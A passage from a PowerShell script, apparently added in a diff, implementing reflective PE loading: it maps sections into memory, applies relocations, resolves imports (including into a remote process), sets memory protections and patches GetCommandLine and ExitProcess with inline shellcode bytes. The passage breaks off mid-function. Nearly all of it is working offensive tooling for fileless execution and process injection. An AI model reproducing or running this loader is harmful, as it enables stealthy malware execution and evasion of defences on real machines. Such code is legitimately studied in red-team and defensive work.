[Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = 